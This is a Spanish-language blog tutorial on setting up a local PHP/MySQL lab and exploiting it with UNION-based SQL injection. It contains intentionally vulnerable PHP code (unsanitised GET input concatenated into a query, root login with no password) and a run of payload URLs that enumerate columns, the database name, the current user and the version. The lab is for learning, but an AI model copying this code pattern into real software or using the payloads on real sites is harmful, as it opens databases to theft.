Sql injection laboratorio propio

siguiendo con SQL injection desde 0 me he creado un bonito laboratorio para trabajar con PHP y Mysql para probar SQL Injection esto montado esta montado en un Apache gracias a XAMPP.

sqli.html




Sqli




Taller sql Injection





Enlace






sqli.php




Sqli





Taller sql Injection




if(isset($_GET["id"])){
$id = $_GET["id"];
$con = mysql_connect("localhost","root","");
mysql_select_db("sqlinjection",$con);
$select = "SELECT * FROM clientes WHERE id=".$id;
$query = mysql_query($select,$con);
$columna = mysql_fetch_array($query);
echo "

Bienvenid@

";

echo "Hola : ".$columna[1]."
";

echo "Su saldo es de : ".$columna[4]."
";

}
else{
header("location: sqli.html");
}

mysql_close($con);
?>




La base de datos que he creado con PhpMyAdmin:

Base de datos: sqlinjection
Tabla: Clientes
Sig

E introducimos unos registros en mi caso son:



Una vez montado tiene esta apariencia:



Lo primero es insertar una comilla para ver si es vulnerable:



Lo siguiente es saber las columnas que tiene esa tabla, asi que vamos a usar la sentencia ORDER+BY usada en MYSQL para ordenar por ese campo el campo X


Vamos a ir ordenando por campos hasta que de fallo asi que:

http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+1--
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+2--

Pero cuando llegamos a:

http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+6--

Ya sabemos que tiene 5 columnas esa tabla.

Ahora con la clausula UNION+SELECT vamos a ir uniendo columnas para comprobar que es correcto que tenemos 5 columnas, solo conseguiremos un buen resultado cuando el numero de columnas coincidan.
http://localhost:8080/sqli/sqli.php?id=1+union+select+1--
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2--

Hasta que efectivamente llegamos a 5
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2,3,4,5--

Si colocamos un menos delante adivinaremos a que columna corresponde cada espacio, usuario sabemos que es 2 y saldo 5.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,2,3,4,5--


Ahora vamos a conseguir el nombre de la base de datos. Usaremos los sitios que sabemos para sustituirlos por la informacion que queremos extraer.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,database(),3,4,5--

Para saber que con que usuario se esta trabajando usaremos la funcion current_user()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,current_user(),3,4,5--
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,user(),3,4,5--

Una opcion buena de saber que version de php usa es con version()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,version(),3,4,5--


Si queremos saber la codificación:
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,charset('str'),3,4,5--